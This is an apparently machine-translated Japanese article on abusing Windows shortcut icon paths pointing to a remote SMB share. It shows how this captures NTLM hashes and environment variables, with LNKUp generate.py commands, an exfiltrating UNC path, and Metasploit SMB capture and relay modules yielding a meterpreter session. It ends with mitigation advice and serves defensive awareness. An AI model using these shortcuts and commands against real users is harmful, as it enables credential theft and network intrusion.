この記事では、ショートカットの作成時に利用可能な標準のWindows機能を使用してシステムを侵害する方法とその対処方法について説明します。
どのように機能しますか、私は恐れる必要があります
おそらく、Windowsユーザーの大多数は、疑わしいプログラムを起動して未知のショートカットをクリックすることは安全ではないことを知っています。 したがって、それについては説明しません。
また、ほとんどのユーザーは少なくとも一度はショートカットアイコンを変更しようとしました。
これは、次のようなプロパティを通じて行われることを思い出させてください。
また、このフィールドにはどのような値を指定できますか?
パスはローカルである必要がありますか? そうでもない。 すなわち ここでこのようなものを指定できます
そして、ユーザーがそのようなショートカットを含むディレクトリに移動すると、次のことが起こります。
マシン192.168.1.3上のWiresharkのスクリーンショット。
サーバー192.168.1.3はTCPポート445でリッスンしていないため、TCP接続を受け入れることができませんでした。 SMB 一見、心配することは何もないように思えるかもしれませんが、そうではありません。
サーバー192.168.1.3は、TCPハンドシェイクを終了し、SMBサーバーのように動作できます。 たとえば、 Metasploitフレームワークモジュールを使用します 。
ショートカットを使用してディレクトリに再度移動し、その後Metasploitコンソールを確認してみましょう。
ショートカットを「見た」ユーザーのNTLMハッシュを取得しました。
この脆弱性(機能)は、WinNT / Win95の時代から20年以上にわたって知られており、現在も存在しています。 マイクロソフトは、 NTLMブロッキングを使用してこの脆弱性に対処することを提案しています。 しかし、これを設定するのはユーザー次第です。
そして、すべての「しかし」に精通します
一部のプロバイダーは、ポート445で発信インターネットトラフィックをブロックできます。これにより、対応するポリシーがアクティブ化されていないコンピューターのユーザーも保護できますが、ローカルネットワークへの攻撃からは保護されません。
LNKUp-操作の自動化
ごく最近、LNKUpツールがリリースされました。これにより、上記で確認したものと同様に、lnkファイルの作成プロセスを自動化できます。 公式のGitHubからダウンロードできます。
このユーティリティはPythonで書かれており、Windowsで実行され、Pythonパッケージpylnkおよびpypiwin32が必要です。
次のコマンドを使用して、NTLMハッシュをキャプチャするためのショートカットを作成します
python generate.py --host HOST --type ntlm --output out.lnk
ここで、HOSTはMetasploit SMBサーバーを実行しているマシンです。
LNKUpの2番目の使用例は、ユーザー環境変数を取得することです。 これは、次のようにショートカットのプロパティで環境変数を使用できるためです。
それらを読むには、マシン192.168.1.3でスニファーを実行する必要があります
ショートカットを作成するコマンドは次のようになります。
python generate.py --host 192.168.1.3 --output out.lnk --type environment --vars PROCESSOR_ARCHITECTURE
そして、トラフィックダンプには次のように表示されます
すなわち ショートカットプロパティのアイコンへのパスは次のようになりました
\\192.168.1.3\SHARE_%PROCESSOR_ARCHITECTURE%
したがって、ユーザーは意図的に何かを実行する必要はありません。悪意のあるショートカットが配置されているディレクトリ、たとえばネットワークディレクトリに移動するか、外部メディアが接続されたときにそれを「見る」だけです。
ディレクトリを参照するときのSMBリレー
Metasploitフレームワークを使用すると、 exploit / windows / smb / smb_relayモジュールを使用して別の種類のSMBサーバーを作成し、SMBリレーという形式の攻撃を実行できます 。
ここで、管理者が通常ソフトウェアのインストールに使用するネットワークディレクトリに悪意のあるショートカットが配置されたとします。 そのようなディレクトリを次に開くと、NTLM管理者認証はネットワーク上の選択されたマシンにリダイレクトされます。
そして、metterpreterセッションが受信されます
上記のすべてに基づいて、おそらくNTLM認証は可能な限り放棄すべきであると結論付けることができ、ネットワークセキュリティと攻撃者が悪意のあるオブジェクトを配置できる共有リソースへのアクセスにさらに注意を払う必要があります。